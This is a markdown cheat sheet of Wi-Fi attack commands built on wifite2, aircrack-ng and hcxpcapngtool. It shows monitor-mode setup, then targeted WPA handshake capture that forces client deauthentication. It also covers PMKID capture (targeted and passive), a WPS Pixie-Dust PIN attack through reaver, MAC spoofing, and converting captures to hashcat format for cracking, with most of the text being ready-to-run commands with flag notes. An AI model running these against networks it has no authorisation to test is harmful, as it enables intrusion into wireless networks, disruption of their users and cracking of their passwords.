wifite2.md

Wi-Fi commands

Toolchain: wifite2, aircrack-ng, hcxpcapngtool

---

Interface setup

# Show wireless interfaces
iwconfig

# Kill interfering processes (NetworkManager, wpa_supplicant, etc.)
sudo airmon-ng check kill

# Enable monitor mode (creates wlan0mon)
sudo airmon-ng start wlan0

# Verify monitor mode
iwconfig wlan0mon

---

Wifite2

WPA Handshake Capture (targeted)

sudo wifite -v -i wlan0 --random-mac --kill --skip-crack --showb \
  -wpa -wpat 50000 -wpadt 10 --no-wps --no-pmkid \
  -b 40:00:30:00:00:00

• -v — verbose output
• -i wlan0 — use specific wireless interface
• --random-mac — spoof MAC address each session
• --kill — auto-kill interfering processes before start
• --skip-crack — capture only, do not attempt cracking
• --showb — display BSSIDs in target list
• -wpa — target WPA/WPA2 networks only
• -wpat 50000 — wait up to 50s for a handshake
• -wpadt 10 — send deauth every 10s to force handshake
• --no-wps — skip WPS attacks entirely
• --no-pmkid — skip PMKID capture attempts
• -b 40:00:... — lock onto a specific BSSID

PMKID capture (targeted)

sudo wifite -v -i wlan0 --random-mac --kill --skip-crack --showb \
  --no-wps --pmkid --pmkid-timeout 10000 \
  -b <BSSID>

• --pmkid — enable PMKID-based capture (clientless attack)
• --pmkid-timeout 10000 — wait up to 10s for PMKID response
• --no-wps — skip WPS, focus on PMKID only
• -b <BSSID> — target specific access point

PMKID Passive (broadcast)

sudo wifite -v -i wlan0 --random-mac --kill --skip-crack --showb \
  --pmkid --pmkid-timeout 50000 --pmkid-passive

• --pmkid-passive — passive listen, no active association requests
• --pmkid-timeout 50000 — extended 50s window for passive collection
• No -b flag — scans all visible APs

General scan (all methods, no filter)

sudo wifite -v -i wlan0 --random-mac --kill --skip-crack --showb

• No attack-type or BSSID flags — enumerate all targets
• Captures any available handshakes/PMKIDs opportunistically

WPS Pixie-Dust (targeted)

sudo wifite -v -i wlan0 --random-mac --kill --showb \
  --wps --wps-only --pixie --reaver \
  -b <BSSID>

• --wps — enable WPS attacks
• --wps-only — ignore non-WPS targets entirely
• --pixie — use Pixie-Dust offline WPS PIN recovery
• --reaver — use reaver as WPS attack engine
• No --skip-crack — cracking is part of the Pixie-Dust flow

---

Post-Capture — convert to Hashcat format

hcxpcapngtool -o output.hc22000 *.cap

• -o output.hc22000 — output file in hashcat 22000 format
• *.cap — process all captured pcap files in current directory

---

Teardown

# Disable monitor mode
sudo airmon-ng stop wlan0mon

# Restore networking
sudo systemctl restart NetworkManager

• stop wlan0mon — revert interface back to managed mode
• restart NetworkManager — bring back automatic network management